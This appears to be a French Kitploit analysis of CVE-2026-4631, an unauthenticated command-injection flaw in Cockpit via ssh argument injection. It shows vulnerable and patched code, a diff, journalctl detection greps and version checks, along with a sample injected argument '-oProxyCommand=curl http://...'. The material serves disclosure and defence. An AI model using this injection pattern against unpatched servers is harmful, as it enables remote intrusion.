CVE-2026-4631-cockpit-RCE — Cockpit : Exécution de code à distance non authentifiée via injection d'arguments de ligne de commande SSH | Kitploit

def via_ssh(cmd: Sequence[str], dest: str, ssh_askpass: Path, *ssh_opts: str) -> Sequence[str]:
    """Construire une commande ssh pour exécuter `cmd` sur `dest`."""

    # Analyser le port optionnel depuis dest (ex. "hôte:2222")
    host, _, port = dest.rpartition(':')

    if port.isdigit() and host:
        # Supprimer les crochets IPv6
        if host.startswith('[') and host.endswith(']'):
            host = host[1:-1]

        #  VULNÉRABLE : Pas de '--' avant l'hôte
        # Si host = "-oProxyCommand=evil", ssh le traite comme une option
        destination = ['-p', port, host]

    else:
        #  VULNÉRABLE : Entrée brute de l'attaquant transmise directement à ssh
        destination = [dest]

    return (
        'ssh', *ssh_opts, *destination, shlex.join(cmd)
    )

arg0: ssh
arg1: -oNumberOfPasswordPrompts=1      ← option cockpit
arg2: -oProxyCommand=curl http://...   ←  ANALYSÉE COMME OPTION SSH (pas un hôte)
arg3: python3 -ic '# cockpit-bridge'   ← devient le "nom d'hôte" → déclenche ProxyCommand

    if port.isdigit() and host:
        if host.startswith('[') and host.endswith(']'):
            host = host[1:-1]

        #  CORRIGÉ : '--' force tout ce qui suit à être positionnel
        destination = ['-p', port, '--', host]

    else:
        #  CORRIGÉ : séparateur '--' ajouté
        destination = ['--', dest]

static const gchar *
application_parse_host(const gchar *application)
{
    const gchar *prefix = "cockpit+=";
    gint len = strlen(prefix);

    g_return_val_if_fail(application != NULL, NULL);

    // Extrait tout ce qui suit "cockpit+=" du chemin de l'URL
    //  Aucune validation des caractères — tirets, caractères spéciaux autorisés
    if (g_str_has_prefix(application, prefix) && application[len] != '\0')
        return application + len;
    else
        return NULL;
}

// cockpit_ws_ssh_program est le modèle de commande de lancement
//  VULNÉRABLE : nom d'hôte ajouté sans assainissement
const gchar *cockpit_ws_ssh_program =
    "/usr/bin/env python3 -m cockpit.beiboot --remote-bridge=supported";
//                                                                      ^
//                        Pas de '--' final signifie que le nom d'hôte peut être
//                        analysé comme un drapeau par argparse de Python (CPython #66623)

//  CORRIGÉ : '--' final garantit que le nom d'hôte est toujours positionnel
const gchar *cockpit_ws_ssh_program =
    "/usr/bin/env python3 -m cockpit.beiboot --remote-bridge=supported --";

static CockpitCreds *
build_session_credentials(CockpitAuth *self,
                           CockpitWebRequest *request,
                           const char *application,
                           const char *host,
                           const char *type,
                           const char *authorization)
{
    char *user = NULL;
    char *raw  = NULL;

    if (g_strcmp0(type, "basic") == 0) {
        // Décode Authorization: Basic base64(utilisateur:motdepasse)
        //  Aucune validation de 'user' — points-virgules, caractères spéciaux autorisés
        raw = cockpit_authorize_parse_basic(authorization, &user);
    }

    // 'user' est transmis dans les identifiants et finalement à 'ssh -l <user>'
    creds = cockpit_creds_new(application,
                              COCKPIT_CRED_USER, user,   //  non assaini
                              ...);
}

async def connect(self, ...):
    ...
    # SSH_ASKPASS_REQUIRE n'est pas généralement disponible, donc utiliser setsid
    process = await asyncio.create_subprocess_exec(
        #  VULNÉRABLE : chemin codé en dur + pas de '--' avant la destination
        *('/usr/bin/ssh', *args, destination),
        env=env,
        start_new_session=True,
        stdin=asyncio.subprocess.DEVNULL,
        stdout=asyncio.subprocess.DEVNULL,
        stderr=agent,
        preexec_fn=lambda: prctl(PR_SET_PDEATHSIG, signal.SIGKILL)
    )

    process = await asyncio.create_subprocess_exec(
        #  CORRIGÉ : recherche PATH au lieu du chemin codé en dur + '--' ajouté
        *('ssh', *args, '--', destination),
        env=env,
        ...
    )

#!/usr/bin/env python3

import os, sys

# Extraire l'hôte de l'environnement
host = os.environ.get('COCKPIT_SSH_CONNECT_TO', sys.argv[1])

#  VULNÉRABLE : même cause racine — hôte transmis non assaini à beiboot
os.execlpe("python3", "python3", "-m", "cockpit.beiboot", host, os.environ)

- const gchar *cockpit_ws_ssh_program =
-     "/usr/bin/env python3 -m cockpit.beiboot --remote-bridge=supported";
+ const gchar *cockpit_ws_ssh_program =
+     "/usr/bin/env python3 -m cockpit.beiboot --remote-bridge=supported --";

# Vérifier le lancement de beiboot avec des arguments suspects
journalctl -u cockpit-ws | grep -E "beiboot|ProxyCommand|-oProxy"

# Vérifier les invocations SSH depuis l'utilisateur cockpit-ws
journalctl _COMM=ssh | grep -v "^--$"

# Vérifier si la version installée est vulnérable
dpkg -l cockpit-ws | awk 'NR==5{print $3}'
# Vulnérable si la version est entre 327 et 359 inclus

rpm -q cockpit-ws
# La même vérification de version s'applique

Ressource	URL
Divulgation OSS-Security	https://www.openwall.com/lists/oss-security/2026/04/10/5
Avis de sécurité GitHub	https://github.com/cockpit-project/cockpit/security/advisories/GHSA-m4gv-x78h-3427
Problème Bugzilla	https://bugzilla.redhat.com/show_bug.cgi?id=2450246
Commit de correctif (cockpit)	https://github.com/cockpit-project/cockpit/commit/9d0695647
Commit de correctif (ferny)	https://github.com/allisonkarlitskaya/ferny/commit/44ec511c99
Bug argparse CPython	https://github.com/python/cpython/issues/66623
Validation du nom d'hôte OpenSSH 9.6	https://github.com/openssh/openssh-portable/commit/7ef3787

ID CVE	CVE-2026-4631
GHSA	GHSA-m4gv-x78h-3427
Sévérité	Critique (CVSS 9.8)
Versions affectées	Cockpit 327 – 359
Corrigé dans	Cockpit 360
CWE	CWE-78 : Injection de commande système
Authentification requise	NON
Signalé par	Jelle van der Waa

CVE-2026-4631-cockpit-RCE

Populaires

CVE-2026-4631 — Analyse du code

Table des matières

1. Présentation de la vulnérabilité

2. Contexte architectural

Flux de connexion à distance normal

Ce qui a changé dans la version 327

3. Analyse de la cause racine

Problème 1 — Absence de séparateur -- avant le nom d'hôte

Problème 2 — Absence de validation des entrées

Problème 3 — Bug Python argparse (CPython #66623)

4. Code vulnérable — Fichier par fichier

4.1 src/cockpit/beiboot.py — Point d'injection principal

Code vulnérable (avant correctif)

À quoi ressemble l'invocation SSH résultante

Code corrigé (version 360)

4.2 src/ws/cockpitauth.c — Couche C : Extraction du nom d'hôte

Extraction du nom d'hôte depuis l'URL (sans validation)

Corrigé dans la version 360

Extraction du nom d'utilisateur depuis l'en-tête Authorization (sans validation)

4.3 vendor/ferny/src/ferny/session.py — Troisième point d'injection

Code vulnérable (avant correctif)

Code corrigé (version 360)

4.4 containers/ws/cockpit-auth-ssh-key — Chemin de déploiement en conteneur

5. Vecteurs d'attaque

Vecteur 1 — Nom d'hôte → Injection ProxyCommand

Vecteur 2 — Nom d'utilisateur → Injection de jeton %r

6. Diagramme de flux de données

7. Analyse du correctif

Correctif 1 — src/cockpit/beiboot.py (commit 9d0695647)

Correctif 2 — src/ws/cockpitauth.c (commit 9d0695647)

Correctif 3 — vendor/ferny/src/ferny/session.py (commit 44ec511c99)

Pourquoi -- corrige le problème

8. Détection

Détection au niveau réseau

Détection par journaux (journald)

Vérification de version

9. Vecteurs d'attaque

Scanner une cible unique

Scanner plusieurs cibles depuis un fichier

Détection via OOB

Vecteur d'attaque 1 — Nom d'utilisateur → Injection de jeton %r

Atténuation (si le correctif n'est pas immédiat)

10. Références

Problème 1 — Absence de séparateur `--` avant le nom d'hôte

Problème 3 — Bug Python `argparse` (CPython #66623)

4.1 `src/cockpit/beiboot.py` — Point d'injection principal

4.2 `src/ws/cockpitauth.c` — Couche C : Extraction du nom d'hôte

4.3 `vendor/ferny/src/ferny/session.py` — Troisième point d'injection

4.4 `containers/ws/cockpit-auth-ssh-key` — Chemin de déploiement en conteneur

Vecteur 2 — Nom d'utilisateur → Injection de jeton `%r`

Correctif 1 — `src/cockpit/beiboot.py` (commit `9d0695647`)

Correctif 2 — `src/ws/cockpitauth.c` (commit `9d0695647`)

Correctif 3 — `vendor/ferny/src/ferny/session.py` (commit `44ec511c99`)

Pourquoi `--` corrige le problème